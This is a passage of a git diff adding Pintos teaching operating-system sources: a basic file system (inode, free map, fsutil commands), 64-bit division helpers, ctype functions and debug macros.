+ inode_init ();
+ free_map_init ();
+
+ if (format)
+ do_format ();
+
+ free_map_open ();
+}
+
+/* Shuts down the file system module, writing any unwritten data
+ to disk. */
+void
+filesys_done (void)
+{
+ free_map_close ();
+}
+
+/* Creates a file named NAME with the given INITIAL_SIZE.
+ Returns true if successful, false otherwise.
+ Fails if a file named NAME already exists,
+ or if internal memory allocation fails. */
+bool
+filesys_create (const char *name, off_t initial_size)
+{
+ disk_sector_t inode_sector = 0;
+ struct dir *dir = dir_open_root ();
+ bool success = (dir != NULL
+ && free_map_allocate (1, &inode_sector)
+ && inode_create (inode_sector, initial_size)
+ && dir_add (dir, name, inode_sector));
+ if (!success && inode_sector != 0)
+ free_map_release (inode_sector, 1);
+ dir_close (dir);
+
+ return success;
+}
+
+/* Opens the file with the given NAME.
+ Returns the new file if successful or a null pointer
+ otherwise.
+ Fails if no file named NAME exists,
+ or if an internal memory allocation fails. */
+struct file *
+filesys_open (const char *name)
+{
+ struct dir *dir = dir_open_root ();
+ struct inode *inode = NULL;
+ struct file *file = NULL;
+
+ if (dir != NULL)
+ dir_lookup (dir, name, &inode);
+ dir_close (dir);
+
+ file = file_open (inode);
+
+ return file;
+}
+
+void
+filesys_close (struct file *file)
+{
+ file_close(file);
+}
+
+/* Deletes the file named NAME.
+ Returns true if successful, false on failure.
+ Fails if no file named NAME exists,
+ or if an internal memory allocation fails. */
+bool
+filesys_remove (const char *name)
+{
+ struct dir *dir = dir_open_root ();
+ bool success = dir != NULL && dir_remove (dir, name);
+ dir_close (dir);
+
+ return success;
+}
+
+/* Formats the file system. */
+static void
+do_format (void)
+{
+ printf ("Formatting file system...");
+ free_map_create ();
+ if (!dir_create (ROOT_DIR_SECTOR, 16))
+ PANIC ("root directory creation failed");
+ free_map_close ();
+ printf ("done.\n");
+}
diff --git a/src/filesys/filesys.h b/src/filesys/filesys.h
new file mode 100644
index 0000000..71efb16
--- /dev/null
+++ b/src/filesys/filesys.h
@@ -0,0 +1,23 @@
+#ifndef FILESYS_FILESYS_H
+#define FILESYS_FILESYS_H
+
+#include <stdbool.h>
+#include "filesys/off_t.h"
+
+/* Sectors of system file inodes. */
+#define FREE_MAP_SECTOR 0 /* Free map file inode sector. */
+#define ROOT_DIR_SECTOR 1 /* Root directory file inode sector. */
+
+/* Disk used for file system. */
+extern struct disk *filesys_disk;
+
+void filesys_init (bool format);
+void filesys_done (void);
+
+bool filesys_create (const char *name, off_t initial_size);
+bool filesys_remove (const char *name);
+
+struct file *filesys_open (const char *name);
+void filesys_close (struct file *file);
+
+#endif /* filesys/filesys.h */
diff --git a/src/filesys/free-map.c b/src/filesys/free-map.c
new file mode 100644
index 0000000..65d8843
--- /dev/null
+++ b/src/filesys/free-map.c
@@ -0,0 +1,88 @@
+#include "filesys/free-map.h"
+#include <bitmap.h>
+#include <debug.h>
+#include "filesys/file.h"
+#include "filesys/filesys.h"
+#include "filesys/inode.h"
+
+static struct file *free_map_file; /* Free map file. */
+static struct bitmap *free_map; /* Free map, one bit per disk sector. */
+
+
+/* Initializes the free map. */
+void
+free_map_init (void)
+{
+ free_map = bitmap_create (disk_size (filesys_disk));
+ if (free_map == NULL)
+ PANIC ("bitmap creation failed--disk is too large");
+ bitmap_mark (free_map, FREE_MAP_SECTOR);
+ bitmap_mark (free_map, ROOT_DIR_SECTOR);
+}
+
+/* Allocates CNT consecutive sectors from the free map and stores
+ the first into *SECTORP.
+ Returns true if successful, false if all sectors were
+ available. */
+bool
+free_map_allocate (size_t cnt, disk_sector_t *sectorp)
+{
+ disk_sector_t sector;
+
+ sector = bitmap_scan_and_flip (free_map, 0, cnt, false);
+ if (sector != BITMAP_ERROR
+ && free_map_file != NULL
+ && !bitmap_write (free_map, free_map_file))
+ {
+ bitmap_set_multiple (free_map, sector, cnt, false);
+ sector = BITMAP_ERROR;
+ }
+
+ if (sector != BITMAP_ERROR)
+ *sectorp = sector;
+ return sector != BITMAP_ERROR;
+}
+
+/* Makes CNT sectors starting at SECTOR available for use. */
+void
+free_map_release (disk_sector_t sector, size_t cnt)
+{
+ ASSERT (bitmap_all (free_map, sector, cnt));
+ bitmap_set_multiple (free_map, sector, cnt, false);
+ bitmap_write (free_map, free_map_file);
+}
+
+/* Opens the free map file and reads it from disk. */
+void
+free_map_open (void)
+{
+ free_map_file = file_open (inode_open (FREE_MAP_SECTOR));
+ if (free_map_file == NULL)
+ PANIC ("can't open free map");
+ if (!bitmap_read (free_map, free_map_file))
+ PANIC ("can't read free map");
+}
+
+/* Writes the free map to disk and closes the free map file. */
+void
+free_map_close (void)
+{
+ file_close (free_map_file);
+}
+
+/* Creates a new free map file on disk and writes the free map to
+ it. */
+void
+free_map_create (void)
+{
+ /* Create inode. */
+ if (!inode_create (FREE_MAP_SECTOR, bitmap_file_size (free_map)))
+ PANIC ("free map creation failed");
+
+ /* Write bitmap to file. */
+ free_map_file = file_open (inode_open (FREE_MAP_SECTOR));
+ if (free_map_file == NULL)
+ PANIC ("can't open free map");
+ if (!bitmap_write (free_map, free_map_file))
+ PANIC ("can't write free map");
+}
diff --git a/src/filesys/free-map.h b/src/filesys/free-map.h
new file mode 100644
index 0000000..ce08f5c
--- /dev/null
+++ b/src/filesys/free-map.h
@@ -0,0 +1,17 @@
+#ifndef FILESYS_FREE_MAP_H
+#define FILESYS_FREE_MAP_H
+
+#include <stdbool.h>
+#include <stddef.h>
+#include "devices/disk.h"
+
+void free_map_init (void);
+void free_map_read (void);
+void free_map_create (void);
+void free_map_open (void);
+void free_map_close (void);
+
+bool free_map_allocate (size_t, disk_sector_t *);
+void free_map_release (disk_sector_t, size_t);
+
+#endif /* filesys/free-map.h */
diff --git a/src/filesys/fsutil.c b/src/filesys/fsutil.c
new file mode 100644
index 0000000..14a4507
--- /dev/null
+++ b/src/filesys/fsutil.c
@@ -0,0 +1,197 @@
+#include "filesys/fsutil.h"
+#include <debug.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include "filesys/directory.h"
+#include "filesys/file.h"
+#include "filesys/filesys.h"
+#include "devices/disk.h"
+#include "threads/malloc.h"
+#include "threads/palloc.h"
+#include "threads/vaddr.h"
+
+/* List files in the root directory. */
+void
+fsutil_ls (char **argv UNUSED)
+{
+ struct dir *dir;
+ char name[NAME_MAX + 1];
+
+ printf ("Files in the root directory:\n");
+ dir = dir_open_root ();
+ if (dir == NULL)
+ PANIC ("root dir open failed");
+ while (dir_readdir (dir, name))
+ printf ("%s\n", name);
+ printf ("End of listing.\n");
+}
+
+/* Prints the contents of file ARGV[1] to the system console as
+ hex and ASCII. */
+void
+fsutil_cat (char **argv)
+{
+ const char *file_name = argv[1];
+
+ struct file *file;
+ char *buffer;
+
+ printf ("Printing '%s' to the console...\n", file_name);
+ file = filesys_open (file_name);
+ if (file == NULL)
+ PANIC ("%s: open failed", file_name);
+ buffer = palloc_get_page (PAL_ASSERT);
+ for (;;)
+ {
+ off_t pos = file_tell (file);
+ off_t n = file_read (file, buffer, PGSIZE);
+ if (n == 0)
+ break;
+
+ hex_dump (pos, buffer, n, true);
+ }
+ palloc_free_page (buffer);
+ file_close (file);
+}
+
+/* Deletes file ARGV[1]. */
+void
+fsutil_rm (char **argv)
+{
+ const char *file_name = argv[1];
+
+ printf ("Deleting '%s'...\n", file_name);
+ if (!filesys_remove (file_name))
+ PANIC ("%s: delete failed\n", file_name);
+}
+
+/* Copies from the "scratch" disk, hdc or hd1:0 to file ARGV[1]
+ in the file system.
+
+ The current sector on the scratch disk must begin with the
+ string "PUT\0" followed by a 32-bit little-endian integer
+ indicating the file size in bytes. Subsequent sectors hold
+ the file content.
+
+ The first call to this function will read starting at the
+ beginning of the scratch disk. Later calls advance across the
+ disk. This disk position is independent of that used for
+ fsutil_get(), so all `put's should precede all `get's. */
+void
+fsutil_put (char **argv)
+{
+ static disk_sector_t sector = 0;
+
+ const char *file_name = argv[1];
+ struct disk *src;
+ struct file *dst;
+ off_t size;
+ void *buffer;
+
+ printf ("Putting '%s' into the file system...\n", file_name);
+
+ /* Allocate buffer. */
+ buffer = malloc (DISK_SECTOR_SIZE);
+ if (buffer == NULL)
+ PANIC ("couldn't allocate buffer");
+
+ /* Open source disk and read file size. */
+ src = disk_get (1, 0);
+ if (src == NULL)
+ PANIC ("couldn't open source disk (hdc or hd1:0)");
+
+ /* Read file size. */
+ disk_read (src, sector++, buffer);
+ if (memcmp (buffer, "PUT", 4))
+ PANIC ("%s: missing PUT signature on scratch disk", file_name);
+ size = ((int32_t *) buffer)[1];
+ if (size < 0)
+ PANIC ("%s: invalid file size %d", file_name, size);
+
+ /* Create destination file. */
+ if (!filesys_create (file_name, size))
+ PANIC ("%s: create failed", file_name);
+ dst = filesys_open (file_name);
+ if (dst == NULL)
+ PANIC ("%s: open failed", file_name);
+
+ /* Do copy. */
+ while (size > 0)
+ {
+ int chunk_size = size > DISK_SECTOR_SIZE ? DISK_SECTOR_SIZE : size;
+ disk_read (src, sector++, buffer);
+ if (file_write (dst, buffer, chunk_size) != chunk_size)
+ PANIC ("%s: write failed with %"PROTd" bytes unwritten",
+ file_name, size);
+ size -= chunk_size;
+ }
+
+ /* Finish up. */
+ file_close (dst);
+ free (buffer);
+}
+
+/* Copies file FILE_NAME from the file system to the scratch disk.
+
+ The current sector on the scratch disk will receive "GET\0"
+ followed by the file's size in bytes as a 32-bit,
+ little-endian integer. Subsequent sectors receive the file's
+ data.
+
+ The first call to this function will write starting at the
+ beginning of the scratch disk. Later calls advance across the
+ disk. This disk position is independent of that used for
+ fsutil_put(), so all `put's should precede all `get's. */
+void
+fsutil_get (char **argv)
+{
+ static disk_sector_t sector = 0;
+
+ const char *file_name = argv[1];
+ void *buffer;
+ struct file *src;
+ struct disk *dst;
+ off_t size;
+
+ printf ("Getting '%s' from the file system...\n", file_name);
+
+ /* Allocate buffer. */
+ buffer = malloc (DISK_SECTOR_SIZE);
+ if (buffer == NULL)
+ PANIC ("couldn't allocate buffer");
+
+ /* Open source file. */
+ src = filesys_open (file_name);
+ if (src == NULL)
+ PANIC ("%s: open failed", file_name);
+ size = file_length (src);
+
+ /* Open target disk. */
+ dst = disk_get (1, 0);
+ if (dst == NULL)
+ PANIC ("couldn't open target disk (hdc or hd1:0)");
+
+ /* Write size to sector 0. */
+ memset (buffer, 0, DISK_SECTOR_SIZE);
+ memcpy (buffer, "GET", 4);
+ ((int32_t *) buffer)[1] = size;
+ disk_write (dst, sector++, buffer);
+
+ /* Do copy. */
+ while (size > 0)
+ {
+ int chunk_size = size > DISK_SECTOR_SIZE ? DISK_SECTOR_SIZE : size;
+ if (sector >= disk_size (dst))
+ PANIC ("%s: out of space on scratch disk", file_name);
+ if (file_read (src, buffer, chunk_size) != chunk_size)
+ PANIC ("%s: read failed with %"PROTd" bytes unread", file_name, size);
+ memset (buffer + chunk_size, 0, DISK_SECTOR_SIZE - chunk_size);
+ disk_write (dst, sector++, buffer);
+ size -= chunk_size;
+ }
+
+ /* Finish up. */
+ file_close (src);
+ free (buffer);
+}
diff --git a/src/filesys/fsutil.h b/src/filesys/fsutil.h
new file mode 100644
index 0000000..abebfe2
--- /dev/null
+++ b/src/filesys/fsutil.h
@@ -0,0 +1,10 @@
+#ifndef FILESYS_FSUTIL_H
+#define FILESYS_FSUTIL_H
+
+void fsutil_ls (char **argv);
+void fsutil_cat (char **argv);
+void fsutil_rm (char **argv);
+void fsutil_put (char **argv);
+void fsutil_get (char **argv);
+
+#endif /* filesys/fsutil.h */
diff --git a/src/filesys/inode.c b/src/filesys/inode.c
new file mode 100644
index 0000000..daa185f
--- /dev/null
+++ b/src/filesys/inode.c
@@ -0,0 +1,336 @@
+#include "filesys/inode.h"
+#include <list.h>
+#include <debug.h>
+#include <round.h>
+#include <string.h>
+#include "filesys/filesys.h"
+#include "filesys/free-map.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+
+
+/* Identifies an inode. */
+#define INODE_MAGIC 0x494e4f44
+
+/* On-disk inode.
+ Must be exactly DISK_SECTOR_SIZE bytes long. */
+struct inode_disk
+ {
+ disk_sector_t start; /* First data sector. */
+ off_t length; /* File size in bytes. */
+ unsigned magic; /* Magic number. */
+ uint32_t unused[125]; /* Not used. */
+ };
+
+/* Returns the number of sectors to allocate for an inode SIZE
+ bytes long. */
+static inline size_t
+bytes_to_sectors (off_t size)
+{
+ return DIV_ROUND_UP (size, DISK_SECTOR_SIZE);
+}
+
+/* In-memory inode. */
+struct inode
+ {
+ struct list_elem elem; /* Element in inode list. */
+ disk_sector_t sector; /* Sector number of disk location. */
+ int open_cnt; /* Number of openers. */
+ bool removed; /* True if deleted, false otherwise. */
+ struct inode_disk data; /* Inode content. */
+ };
+
+
+/* Returns the disk sector that contains byte offset POS within
+ INODE.
+ Returns -1 if INODE does not contain data for a byte at offset
+ POS. */
+static disk_sector_t
+byte_to_sector (const struct inode *inode, off_t pos)
+{
+ ASSERT (inode != NULL);
+ if (pos < inode->data.length)
+ return inode->data.start + pos / DISK_SECTOR_SIZE;
+ else
+ return -1;
+}
+
+/* List of open inodes, so that opening a single inode twice
+ returns the same `struct inode'. */
+static struct list open_inodes;
+
+/* Initializes the inode module. */
+void
+inode_init (void)
+{
+ list_init (&open_inodes);
+}
+
+/* Initializes an inode with LENGTH bytes of data and
+ writes the new inode to sector SECTOR on the file system
+ disk.
+ Returns true if successful.
+ Returns false if memory or disk allocation fails. */
+bool
+inode_create (disk_sector_t sector, off_t length)
+{
+ struct inode_disk *disk_inode = NULL;
+ bool success = false;
+
+ ASSERT (length >= 0);
+
+ /* If this assertion fails, the inode structure is not exactly
+ one sector in size, and you should fix that. */
+ ASSERT (sizeof *disk_inode == DISK_SECTOR_SIZE);
+
+ disk_inode = calloc (1, sizeof *disk_inode);
+ if (disk_inode != NULL)
+ {
+ size_t sectors = bytes_to_sectors (length);
+ disk_inode->length = length;
+ disk_inode->magic = INODE_MAGIC;
+ if (free_map_allocate (sectors, &disk_inode->start))
+ {
+ disk_write (filesys_disk, sector, disk_inode);
+ if (sectors > 0)
+ {
+ static char zeros[DISK_SECTOR_SIZE];
+ size_t i;
+
+ for (i = 0; i < sectors; i++)
+ disk_write (filesys_disk, disk_inode->start + i, zeros);
+ }
+ success = true;
+ }
+ free (disk_inode);
+ }
+ return success;
+}
+
+/* Reads an inode from SECTOR
+ and returns a `struct inode' that contains it.
+ Returns a null pointer if memory allocation fails. */
+struct inode *
+inode_open (disk_sector_t sector)
+{
+ struct list_elem *e;
+ struct inode *inode;
+
+
+ /* Check whether this inode is already open. */
+ for (e = list_begin (&open_inodes); e != list_end (&open_inodes);
+ e = list_next (e))
+ {
+ inode = list_entry (e, struct inode, elem);
+ if (inode->sector == sector)
+ {
+ inode_reopen (inode);
+ return inode;
+ }
+ }
+
+ /* Allocate memory. */
+ inode = malloc (sizeof *inode);
+ if (inode == NULL)
+ {
+ return NULL;
+ }
+
+ list_push_front (&open_inodes, &inode->elem);
+
+ /* Initialize. */
+ inode->sector = sector;
+ inode->open_cnt = 1;
+ inode->removed = false;
+
+ disk_read (filesys_disk, inode->sector, &inode->data);
+
+ return inode;
+}
+
+/* Reopens and returns INODE. */
+struct inode *
+inode_reopen (struct inode *inode)
+{
+ if (inode != NULL)
+ {
+ inode->open_cnt++;
+ }
+ return inode;
+}
+
+/* Returns INODE's inode number. */
+disk_sector_t
+inode_get_inumber (const struct inode *inode)
+{
+ return inode->sector;
+}
+
+/* Closes INODE and writes it to disk.
+ If this was the last reference to INODE, frees its memory.
+ If INODE was also a removed inode, frees its blocks. */
+void
+inode_close (struct inode *inode)
+{
+ /* Ignore null pointer. */
+ if (inode == NULL)
+ return;
+
+
+ /* Release resources if this was the last opener. */
+ if (--inode->open_cnt == 0)
+ {
+ /* Remove from inode list. */
+ list_remove (&inode->elem);
+
+
+ /* Deallocate blocks if the file is marked as removed. */
+ if (inode->removed)
+ {
+ free_map_release (inode->sector, 1);
+ free_map_release (inode->data.start,
+ bytes_to_sectors (inode->data.length));
+ }
+
+ free (inode);
+ return;
+ }
+}
+
+/* Marks INODE to be deleted when it is closed by the last caller who
+ has it open. */
+void
+inode_remove (struct inode *inode)
+{
+ ASSERT (inode != NULL);
+ inode->removed = true;
+}
+
+/* Reads SIZE bytes from INODE into BUFFER, starting at position OFFSET.
+ Returns the number of bytes actually read, which may be less
+ than SIZE if an error occurs or end of file is reached. */
+off_t
+inode_read_at (struct inode *inode, void *buffer_, off_t size, off_t offset)
+{
+ uint8_t *buffer = buffer_;
+ off_t bytes_read = 0;
+ uint8_t *bounce = NULL;
+
+ while (size > 0)
+ {
+ /* Disk sector to read, starting byte offset within sector. */
+ disk_sector_t sector_idx = byte_to_sector (inode, offset);
+ int sector_ofs = offset % DISK_SECTOR_SIZE;
+
+ /* Bytes left in inode, bytes left in sector, lesser of the two. */
+ off_t inode_left = inode_length (inode) - offset;
+ int sector_left = DISK_SECTOR_SIZE - sector_ofs;
+ int min_left = inode_left < sector_left ? inode_left : sector_left;
+
+ /* Number of bytes to actually copy out of this sector. */
+ int chunk_size = size < min_left ? size : min_left;
+ if (chunk_size <= 0)
+ break;
+
+ if (sector_ofs == 0 && chunk_size == DISK_SECTOR_SIZE)
+ {
+ /* Read full sector directly into caller's buffer. */
+ disk_read (filesys_disk, sector_idx, buffer + bytes_read);
+ }
+ else
+ {
+ /* Read sector into bounce buffer, then partially copy
+ into caller's buffer. */
+ if (bounce == NULL)
+ {
+ bounce = malloc (DISK_SECTOR_SIZE);
+ if (bounce == NULL)
+ break;
+ }
+ disk_read (filesys_disk, sector_idx, bounce);
+ memcpy (buffer + bytes_read, bounce + sector_ofs, chunk_size);
+ }
+
+ /* Advance. */
+ size -= chunk_size;
+ offset += chunk_size;
+ bytes_read += chunk_size;
+ }
+ free (bounce);
+
+ return bytes_read;
+}
+
+/* Writes SIZE bytes from BUFFER into INODE, starting at OFFSET.
+ Returns the number of bytes actually written, which may be
+ less than SIZE if end of file is reached or an error occurs.
+ (Normally a write at end of file would extend the inode, but
+ growth is not yet implemented.) */
+off_t
+inode_write_at (struct inode *inode, const void *buffer_, off_t size,
+ off_t offset)
+{
+ const uint8_t *buffer = buffer_;
+ off_t bytes_written = 0;
+ uint8_t *bounce = NULL;
+
+
+ while (size > 0)
+ {
+ /* Sector to write, starting byte offset within sector. */
+ disk_sector_t sector_idx = byte_to_sector (inode, offset);
+ int sector_ofs = offset % DISK_SECTOR_SIZE;
+
+ /* Bytes left in inode, bytes left in sector, lesser of the two. */
+ off_t inode_left = inode_length (inode) - offset;
+ int sector_left = DISK_SECTOR_SIZE - sector_ofs;
+ int min_left = inode_left < sector_left ? inode_left : sector_left;
+
+ /* Number of bytes to actually write into this sector. */
+ int chunk_size = size < min_left ? size : min_left;
+ if (chunk_size <= 0)
+ break;
+
+ if (sector_ofs == 0 && chunk_size == DISK_SECTOR_SIZE)
+ {
+ /* Write full sector directly to disk. */
+ disk_write (filesys_disk, sector_idx, buffer + bytes_written);
+ }
+ else
+ {
+ /* We need a bounce buffer. */
+ if (bounce == NULL)
+ {
+ bounce = malloc (DISK_SECTOR_SIZE);
+ if (bounce == NULL)
+ break;
+ }
+
+ /* If the sector contains data before or after the chunk
+ we're writing, then we need to read in the sector
+ first. Otherwise we start with a sector of all zeros. */
+ if (sector_ofs > 0 || chunk_size < sector_left)
+ disk_read (filesys_disk, sector_idx, bounce);
+ else
+ memset (bounce, 0, DISK_SECTOR_SIZE);
+ memcpy (bounce + sector_ofs, buffer + bytes_written, chunk_size);
+ disk_write (filesys_disk, sector_idx, bounce);
+ }
+
+ /* Advance. */
+ size -= chunk_size;
+ offset += chunk_size;
+ bytes_written += chunk_size;
+ }
+ free (bounce);
+
+ return bytes_written;
+}
+
+/* Returns the length, in bytes, of INODE's data. */
+off_t
+inode_length (const struct inode *inode)
+{
+ return inode->data.length;
+}
+
diff --git a/src/filesys/inode.h b/src/filesys/inode.h
new file mode 100644
index 0000000..ff3042e
--- /dev/null
+++ b/src/filesys/inode.h
@@ -0,0 +1,22 @@
+#ifndef FILESYS_INODE_H
+#define FILESYS_INODE_H
+
+#include <stdbool.h>
+#include "filesys/off_t.h"
+#include "devices/disk.h"
+
+struct bitmap;
+
+
+void inode_init (void);
+bool inode_create (disk_sector_t, off_t);
+struct inode *inode_open (disk_sector_t);
+struct inode *inode_reopen (struct inode *);
+disk_sector_t inode_get_inumber (const struct inode *);
+void inode_close (struct inode *);
+void inode_remove (struct inode *);
+off_t inode_read_at (struct inode *, void *, off_t size, off_t offset);
+off_t inode_write_at (struct inode *, const void *, off_t size, off_t offset);
+off_t inode_length (const struct inode *);
+
+#endif /* filesys/inode.h */
diff --git a/src/filesys/off_t.h b/src/filesys/off_t.h
new file mode 100644
index 0000000..9caff4d
--- /dev/null
+++ b/src/filesys/off_t.h
@@ -0,0 +1,15 @@
+#ifndef FILESYS_OFF_T_H
+#define FILESYS_OFF_T_H
+
+#include <stdint.h>
+
+/* An offset within a file.
+ This is a separate header because multiple headers want this
+ definition but not any others. */
+typedef int32_t off_t;
+
+/* Format specifier for printf(), e.g.:
+ printf ("offset=%"PROTd"\n", offset); */
+#define PROTd PRId32
+
+#endif /* filesys/off_t.h */
diff --git a/src/lib/arithmetic.c b/src/lib/arithmetic.c
new file mode 100644
index 0000000..bfc9b5a
--- /dev/null
+++ b/src/lib/arithmetic.c
@@ -0,0 +1,189 @@
+#include <stdint.h>
+
+/* On x86, division of one 64-bit integer by another cannot be
+ done with a single instruction or a short sequence. Thus, GCC
+ implements 64-bit division and remainder operations through
+ function calls. These functions are normally obtained from
+ libgcc, which is automatically included by GCC in any link
+ that it does.
+
+ Some x86-64 machines, however, have a compiler and utilities
+ that can generate 32-bit x86 code without having any of the
+ necessary libraries, including libgcc. Thus, we can make
+ Pintos work on these machines by simply implementing our own
+ 64-bit division routines, which are the only routines from
+ libgcc that Pintos requires.
+
+ Completeness is another reason to include these routines. If
+ Pintos is completely self-contained, then that makes it that
+ much less mysterious. */
+
+/* Uses x86 DIVL instruction to divide 64-bit N by 32-bit D to
+ yield a 32-bit quotient. Returns the quotient.
+ Traps with a divide error (#DE) if the quotient does not fit
+ in 32 bits. */
+static inline uint32_t
+divl (uint64_t n, uint32_t d)
+{
+ uint32_t n1 = n >> 32;
+ uint32_t n0 = n;
+ uint32_t q, r;
+
+ asm ("divl %4"
+ : "=d" (r), "=a" (q)
+ : "0" (n1), "1" (n0), "rm" (d));
+
+ return q;
+}
+
+/* Returns the number of leading zero bits in X,
+ which must be nonzero. */
+static int
+nlz (uint32_t x)
+{
+ /* This technique is portable, but there are better ways to do
+ it on particular systems. With sufficiently new enough GCC,
+ you can use __builtin_clz() to take advantage of GCC's
+ knowledge of how to do it. Or you can use the x86 BSR
+ instruction directly. */
+ int n = 0;
+ if (x <= 0x0000FFFF)
+ {
+ n += 16;
+ x <<= 16;
+ }
+ if (x <= 0x00FFFFFF)
+ {
+ n += 8;
+ x <<= 8;
+ }
+ if (x <= 0x0FFFFFFF)
+ {
+ n += 4;
+ x <<= 4;
+ }
+ if (x <= 0x3FFFFFFF)
+ {
+ n += 2;
+ x <<= 2;
+ }
+ if (x <= 0x7FFFFFFF)
+ n++;
+ return n;
+}
+
+/* Divides unsigned 64-bit N by unsigned 64-bit D and returns the
+ quotient. */
+static uint64_t
+udiv64 (uint64_t n, uint64_t d)
+{
+ if ((d >> 32) == 0)
+ {
+ /* Proof of correctness:
+
+ Let n, d, b, n1, and n0 be defined as in this function.
+ Let [x] be the "floor" of x. Let T = b[n1/d]. Assume d
+ nonzero. Then:
+ [n/d] = [n/d] - T + T
+ = [n/d - T] + T by (1) below
+ = [(b*n1 + n0)/d - T] + T by definition of n
+ = [(b*n1 + n0)/d - dT/d] + T
+ = [(b(n1 - d[n1/d]) + n0)/d] + T
+ = [(b[n1 % d] + n0)/d] + T, by definition of %
+ which is the expression calculated below.
+
+ (1) Note that for any real x, integer i: [x] + i = [x + i].
+
+ To prevent divl() from trapping, [(b[n1 % d] + n0)/d] must
+ be less than b. Assume that [n1 % d] and n0 take their
+ respective maximum values of d - 1 and b - 1:
+ [(b(d - 1) + (b - 1))/d] < b
+ <=> [(bd - 1)/d] < b
+ <=> [b - 1/d] < b
+ which is a tautology.
+
+ Therefore, this code is correct and will not trap. */
+ uint64_t b = 1ULL << 32;
+ uint32_t n1 = n >> 32;
+ uint32_t n0 = n;
+ uint32_t d0 = d;
+
+ return divl (b * (n1 % d0) + n0, d0) + b * (n1 / d0);
+ }
+ else
+ {
+ /* Based on the algorithm and proof available from
+ http://www.hackersdelight.org/revisions.pdf. */
+ if (n < d)
+ return 0;
+ else
+ {
+ uint32_t d1 = d >> 32;
+ int s = nlz (d1);
+ uint64_t q = divl (n >> 1, (d << s) >> 32) >> (31 - s);
+ return n - (q - 1) * d < d ? q - 1 : q;
+ }
+ }
+}
+
+/* Divides unsigned 64-bit N by unsigned 64-bit D and returns the
+ remainder. */
+static uint32_t
+umod64 (uint64_t n, uint64_t d)
+{
+ return n - d * udiv64 (n, d);
+}
+
+/* Divides signed 64-bit N by signed 64-bit D and returns the
+ quotient. */
+static int64_t
+sdiv64 (int64_t n, int64_t d)
+{
+ uint64_t n_abs = n >= 0 ? (uint64_t) n : -(uint64_t) n;
+ uint64_t d_abs = d >= 0 ? (uint64_t) d : -(uint64_t) d;
+ uint64_t q_abs = udiv64 (n_abs, d_abs);
+ return (n < 0) == (d < 0) ? (int64_t) q_abs : -(int64_t) q_abs;
+}
+
+/* Divides signed 64-bit N by signed 64-bit D and returns the
+ remainder. */
+static int32_t
+smod64 (int64_t n, int64_t d)
+{
+ return n - d * sdiv64 (n, d);
+}
+
+/* These are the routines that GCC calls. */
+
+long long __divdi3 (long long n, long long d);
+long long __moddi3 (long long n, long long d);
+unsigned long long __udivdi3 (unsigned long long n, unsigned long long d);
+unsigned long long __umoddi3 (unsigned long long n, unsigned long long d);
+
+/* Signed 64-bit division. */
+long long
+__divdi3 (long long n, long long d)
+{
+ return sdiv64 (n, d);
+}
+
+/* Signed 64-bit remainder. */
+long long
+__moddi3 (long long n, long long d)
+{
+ return smod64 (n, d);
+}
+
+/* Unsigned 64-bit division. */
+unsigned long long
+__udivdi3 (unsigned long long n, unsigned long long d)
+{
+ return udiv64 (n, d);
+}
+
+/* Unsigned 64-bit remainder. */
+unsigned long long
+__umoddi3 (unsigned long long n, unsigned long long d)
+{
+ return umod64 (n, d);
+}
diff --git a/src/lib/ctype.h b/src/lib/ctype.h
new file mode 100644
index 0000000..9096aca
--- /dev/null
+++ b/src/lib/ctype.h
@@ -0,0 +1,28 @@
+#ifndef __LIB_CTYPE_H
+#define __LIB_CTYPE_H
+
+static inline int islower (int c) { return c >= 'a' && c <= 'z'; }
+static inline int isupper (int c) { return c >= 'A' && c <= 'Z'; }
+static inline int isalpha (int c) { return islower (c) || isupper (c); }
+static inline int isdigit (int c) { return c >= '0' && c <= '9'; }
+static inline int isalnum (int c) { return isalpha (c) || isdigit (c); }
+static inline int isxdigit (int c) {
+ return isdigit (c) || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F');
+}
+static inline int isspace (int c) {
+ return (c == ' ' || c == '\f' || c == '\n'
+ || c == '\r' || c == '\t' || c == '\v');
+}
+static inline int isblank (int c) { return c == ' ' || c == '\t'; }
+static inline int isgraph (int c) { return c > 32 && c < 127; }
+static inline int isprint (int c) { return c >= 32 && c < 127; }
+static inline int iscntrl (int c) { return (c >= 0 && c < 32) || c == 127; }
+static inline int isascii (int c) { return c >= 0 && c < 128; }
+static inline int ispunct (int c) {
+ return isprint (c) && !isalnum (c) && !isspace (c);
+}
+
+static inline int tolower (int c) { return isupper (c) ? c - 'A' + 'a' : c; }
+static inline int toupper (int c) { return islower (c) ? c - 'a' + 'A' : c; }
+
+#endif /* lib/ctype.h */
diff --git a/src/lib/debug.c b/src/lib/debug.c
new file mode 100644
index 0000000..23668a8
--- /dev/null
+++ b/src/lib/debug.c
@@ -0,0 +1,34 @@
+#include <debug.h>
+#include <stdarg.h>
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <string.h>
+
+/* Prints the call stack, that is, a list of addresses, one in
+ each of the functions we are nested within. gdb or addr2line
+ may be applied to kernel.o to translate these into file names,
+ line numbers, and function names. */
+void
+debug_backtrace (void)
+{
+ static bool explained;
+ void **frame;
+
+ printf ("backtrace ");
+ for (frame = __builtin_frame_address (0);
+ frame != NULL && frame[0] != NULL;
+ frame = frame[0])
+ printf (" %p", frame[1]);
+ printf (".\n");
+
+ if (!explained)
+ {
+ explained = true;
+ printf ("The `backtrace' program can make call stacks useful.\n"
+ "Read \"Backtraces\" in the \"Debugging Tools\" chapter\n"
+ "of the Pintos documentation for more information.\n"
+ "Simply copy-paste the backtrace command line above.\n"
+ );
+ }
+}
diff --git a/src/lib/debug.h b/src/lib/debug.h
new file mode 100644
index 0000000..989dbd5
--- /dev/null
+++ b/src/lib/debug.h
@@ -0,0 +1,45 @@
+#ifndef __LIB_DEBUG_H
+#define __LIB_DEBUG_H
+
+/* klaar@ida 2011-01-12: A macro to allow debug printouts without
+ * interfering with the test programs. The first argument must be a
+ * literal string (in double-quotes). */
+#define debug(fmt, ...) printf("# " fmt, ##__VA_ARGS__)
+
+/* GCC lets us add "attributes" to functions, function
+ parameters, etc. to indicate their properties.
+ See the GCC manual for details. */
+#define UNUSED __attribute__ ((unused))
+#define NO_RETURN __attribute__ ((noreturn))
+#define NO_INLINE __attribute__ ((noinline))
+#define PRINTF_FORMAT(FMT, FIRST) __attribute__ ((format (printf, FMT, FIRST)))
+
+/* Halts the OS, printing the source file name, line number, and
+ function name, plus a user-specific message. */
+#define PANIC(...) debug_panic (__FILE__, __LINE__, __func__, __VA_ARGS__)
